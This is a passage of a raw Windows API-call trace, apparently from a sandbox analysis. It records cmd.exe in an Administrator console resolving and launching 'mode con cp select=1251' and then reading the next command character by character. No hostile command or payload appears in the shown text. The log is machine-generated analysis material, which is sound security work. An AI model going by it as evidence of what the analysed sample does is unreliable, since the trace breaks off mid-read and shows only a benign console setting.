_String2="DATE") returned 9 [0103.540] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0103.540] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0103.540] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0103.540] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0103.540] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0103.540] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0103.541] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0103.541] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0103.541] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0103.541] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0103.541] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0103.541] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0103.541] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0103.541] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0103.541] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0103.541] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0103.541] _wcsicmp (_String1="mode", _String2="START") returned -6 [0103.541] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0103.541] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0103.541] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0103.541] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0103.541] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0103.541] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0103.541] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0103.541] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0103.541] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0103.541] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0103.541] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0103.541] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0103.541] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0103.541] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0103.541] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0103.541] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0103.541] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0103.541] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0103.541] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0103.541] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0103.542] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0103.542] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0103.542] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0103.542] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0103.542] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0103.542] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0103.542] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0103.542] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0103.542] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0103.542] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0103.542] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0103.542] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0103.542] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0103.542] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0103.542] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0103.542] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0103.542] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0103.542] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0103.542] _wcsicmp (_String1="mode", _String2="START") returned -6 [0103.542] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0103.542] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0103.542] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0103.542] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0103.542] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0103.542] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0103.542] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0103.542] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0103.542] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0103.542] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0103.542] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0103.542] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0103.542] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0103.543] ??_V@YAXPEAX@Z () returned 0x1 [0103.543] GetProcessHeap () returned 0x21cb43d0000 [0103.543] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xffde) returned 0x21cb43d8fe0 [0103.544] GetProcessHeap () returned 0x21cb43d0000 [0103.544] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x42) returned 0x21cb43d83e0 [0103.544] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0103.544] malloc (_Size=0xffce) returned 0x21cb4500820 [0103.544] ??_V@YAXPEAX@Z () returned 0x21cb4500820 [0103.544] GetProcessHeap () returned 0x21cb43d0000 [0103.544] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1ffac) returned 0x21cb43e8fd0 [0103.547] SetErrorMode (uMode=0x0) returned 0x0 [0103.547] SetErrorMode (uMode=0x1) returned 0x0 [0103.547] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21cb43e8fe0, lpFilePart=0xbc75efef40 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xbc75efef40*="Desktop") returned 0x17 [0103.547] SetErrorMode (uMode=0x0) returned 0x1 [0103.547] GetProcessHeap () returned 0x21cb43d0000 [0103.547] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43e8fd0, Size=0x4a) returned 0x21cb43e8fd0 [0103.547] GetProcessHeap () returned 0x21cb43d0000 [0103.547] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43e8fd0) returned 0x4a [0103.547] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0103.547] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0103.547] GetProcessHeap () returned 0x21cb43d0000 [0103.547] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x1bc) returned 0x21cb43d6c30 [0103.547] GetProcessHeap () returned 0x21cb43d0000 [0103.547] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x368) returned 0x21cb43e9030 [0103.558] GetProcessHeap () returned 0x21cb43d0000 [0103.558] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43e9030, Size=0x1be) returned 0x21cb43e9030 [0103.558] GetProcessHeap () returned 0x21cb43d0000 [0103.558] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43e9030) returned 0x1be [0103.558] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.559] GetProcessHeap () returned 0x21cb43d0000 [0103.559] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xe8) returned 0x21cb43d6e00 [0103.560] GetProcessHeap () returned 0x21cb43d0000 [0103.560] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43d6e00, Size=0x7e) returned 0x21cb43d6e00 [0103.560] GetProcessHeap () returned 0x21cb43d0000 [0103.560] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43d6e00) returned 0x7e [0103.560] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.561] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0xffffffffffffffff [0103.657] GetLastError () returned 0x2 [0103.657] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.657] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0xffffffffffffffff [0103.661] GetLastError () returned 0x2 [0103.661] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.661] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0x21cb43d6e90 [0103.662] GetProcessHeap () returned 0x21cb43d0000 [0103.662] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x0, Size=0x28) returned 0x21cb43d1890 [0103.662] FindClose (in: hFindFile=0x21cb43d6e90 | out: hFindFile=0x21cb43d6e90) returned 1 [0103.662] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0xbc75efecb0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xbc75efecb0) returned 0x21cb43d6e90 [0103.662] GetProcessHeap () returned 0x21cb43d0000 [0103.662] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43d1890, Size=0x8) returned 0x21cb43d1890 [0103.662] FindClose (in: hFindFile=0x21cb43d6e90 | out: hFindFile=0x21cb43d6e90) returned 1 [0103.662] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0103.662] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0103.662] ??_V@YAXPEAX@Z () returned 0x1 [0103.662] GetConsoleTitleW (in: lpConsoleTitle=0xbc75eff230, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0104.071] GetProcessHeap () returned 0x21cb43d0000 [0104.071] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x21c) returned 0x21cb43e9200 [0104.071] GetConsoleTitleW (in: lpConsoleTitle=0x21cb43e9210, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0104.078] GetProcessHeap () returned 0x21cb43d0000 [0104.078] RtlReAllocateHeap (Heap=0x21cb43d0000, Flags=0x0, Ptr=0x21cb43e9200, Size=0xaa) returned 0x21cb43e9200 [0104.078] GetProcessHeap () returned 0x21cb43d0000 [0104.078] RtlSizeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, MemoryPointer=0x21cb43e9200) returned 0xaa [0104.078] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0104.083] GetProcessHeap () returned 0x21cb43d0000 [0104.083] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e9200) returned 1 [0104.083] InitializeProcThreadAttributeList (in: lpAttributeList=0xbc75eff150, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xbc75eff040 | out: lpAttributeList=0xbc75eff150, lpSize=0xbc75eff040) returned 1 [0104.083] UpdateProcThreadAttribute (in: lpAttributeList=0xbc75eff150, dwFlags=0x0, Attribute=0x60001, lpValue=0xbc75eff02c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xbc75eff150, lpPreviousValue=0x0) returned 1 [0104.083] GetStartupInfoW (in: lpStartupInfo=0xbc75eff0e0 | out: lpStartupInfo=0xbc75eff0e0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0104.083] GetProcessHeap () returned 0x21cb43d0000 [0104.083] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x20) returned 0x21cb43d6e90 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.083] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0104.084] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0104.084] GetProcessHeap () returned 0x21cb43d0000 [0104.084] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6e90) returned 1 [0104.084] GetProcessHeap () returned 0x21cb43d0000 [0104.084] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0x12) returned 0x21cb43d6e90 [0104.084] _get_osfhandle (_FileHandle=1) returned 0x254 [0104.084] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0104.084] _get_osfhandle (_FileHandle=0) returned 0x248 [0104.084] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0104.084] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0xbc75eff070*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xbc75eff048 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0xbc75eff048*(hProcess=0x98, hThread=0x94, dwProcessId=0x49c, dwThreadId=0x4b0)) returned 1 [0104.818] CloseHandle (hObject=0x94) returned 1 [0104.818] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0104.818] GetProcessHeap () returned 0x21cb43d0000 [0104.818] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8500) returned 1 [0104.818] GetEnvironmentStringsW () returned 0x21cb43d84c0* [0104.818] GetProcessHeap () returned 0x21cb43d0000 [0104.818] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xacc) returned 0x21cb43e9520 [0104.818] FreeEnvironmentStringsA (penv="=") returned 1 [0104.818] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff931f40000 [0104.818] GetProcAddress (hModule=0x7ff931f40000, lpProcName="NtQueryInformationProcess") returned 0x7ff931fe56b0 [0104.818] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0xbc75efe548, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0xbc75efe548, ReturnLength=0x0) returned 0x0 [0104.818] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0x8bdcf1e000, lpBuffer=0xbc75efe580, nSize=0x7a0, lpNumberOfBytesRead=0xbc75efe540 | out: lpBuffer=0xbc75efe580*, lpNumberOfBytesRead=0xbc75efe540*=0x7a0) returned 1 [0105.079] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0111.199] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0xbc75efefc8 | out: lpExitCode=0xbc75efefc8*=0x0) returned 1 [0111.199] CloseHandle (hObject=0x98) returned 1 [0111.199] _vsnwprintf (in: _Buffer=0xbc75eff198, _BufferCount=0x13, _Format="%08X", _ArgList=0xbc75efefd8 | out: _Buffer="00000000") returned 8 [0111.199] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0111.199] GetProcessHeap () returned 0x21cb43d0000 [0111.199] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e9520) returned 1 [0111.199] GetEnvironmentStringsW () returned 0x21cb43e9520* [0111.200] GetProcessHeap () returned 0x21cb43d0000 [0111.200] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xaf2) returned 0x21cb43ea020 [0111.200] FreeEnvironmentStringsA (penv="=") returned 1 [0111.200] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0111.200] GetProcessHeap () returned 0x21cb43d0000 [0111.200] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43ea020) returned 1 [0111.200] GetEnvironmentStringsW () returned 0x21cb43e9520* [0111.200] GetProcessHeap () returned 0x21cb43d0000 [0111.200] RtlAllocateHeap (HeapHandle=0x21cb43d0000, Flags=0x8, Size=0xaf2) returned 0x21cb43ea020 [0111.200] FreeEnvironmentStringsA (penv="=") returned 1 [0111.200] GetProcessHeap () returned 0x21cb43d0000 [0111.200] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6e90) returned 1 [0111.200] DeleteProcThreadAttributeList (in: lpAttributeList=0xbc75eff150 | out: lpAttributeList=0xbc75eff150) [0111.201] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0111.208] ??_V@YAXPEAX@Z () returned 0x1 [0111.208] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.208] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0111.208] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.208] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6e20afc08 | out: lpMode=0x7ff6e20afc08) returned 0 [0111.208] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.208] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6e20afc0c | out: lpMode=0x7ff6e20afc0c) returned 0 [0111.209] GetConsoleOutputCP () returned 0x4e3 [0111.211] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6e20afbb0 | out: lpCPInfo=0x7ff6e20afbb0) returned 1 [0111.211] SetThreadUILanguage (LangId=0x0) returned 0x409 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6e00) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e9030) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6c30) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43e8fd0) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d83e0) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8fe0) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d1850) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d6a80) returned 1 [0111.218] GetProcessHeap () returned 0x21cb43d0000 [0111.218] RtlFreeHeap (HeapHandle=0x21cb43d0000, Flags=0x0, BaseAddress=0x21cb43d8320) returned 1 [0111.218] _vsnwprintf (in: _Buffer=0x7ff6e20b7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xbc75eff578 | out: _Buffer="\r\n") returned 2 [0111.218] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.218] GetFileType (hFile=0x254) returned 0x3 [0111.218] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.218] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0111.218] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xbc75eff548, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff548*=0x2, lpOverlapped=0x0) returned 1 [0111.219] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6e20abb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0111.219] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x21cb44d0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0111.219] _vsnwprintf (in: _Buffer=0x21cb44e0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xbc75eff588 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0111.219] _vsnwprintf (in: _Buffer=0x21cb44e008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xbc75eff588 | out: _Buffer=">") returned 1 [0111.219] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.219] GetFileType (hFile=0x254) returned 0x3 [0111.219] _get_osfhandle (_FileHandle=1) returned 0x254 [0111.219] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0111.219] WriteFile (in: hFile=0x254, lpBuffer=0x7ff6e20a9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xbc75eff578, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesWritten=0xbc75eff578*=0x18, lpOverlapped=0x0) returned 1 [0111.219] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.219] GetFileType (hFile=0x248) returned 0x3 [0111.219] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.219] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.219] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.219] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0111.220] ReadFile (in: hFile=0x248, lpBuffer=0x7ff6e20a9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xbc75eff8d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e20a9970*, lpNumberOfBytesRead=0xbc75eff8d8*=0x1, lpOverlapped=0x0) returned 1 [0111.220] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6e20a9970, cbMultiByte=1, lpWideCharStr=0x7ff6e20b3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0111.220] _get_osfhandle (_FileHandle=0) returned 0x248 [0111.220] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: 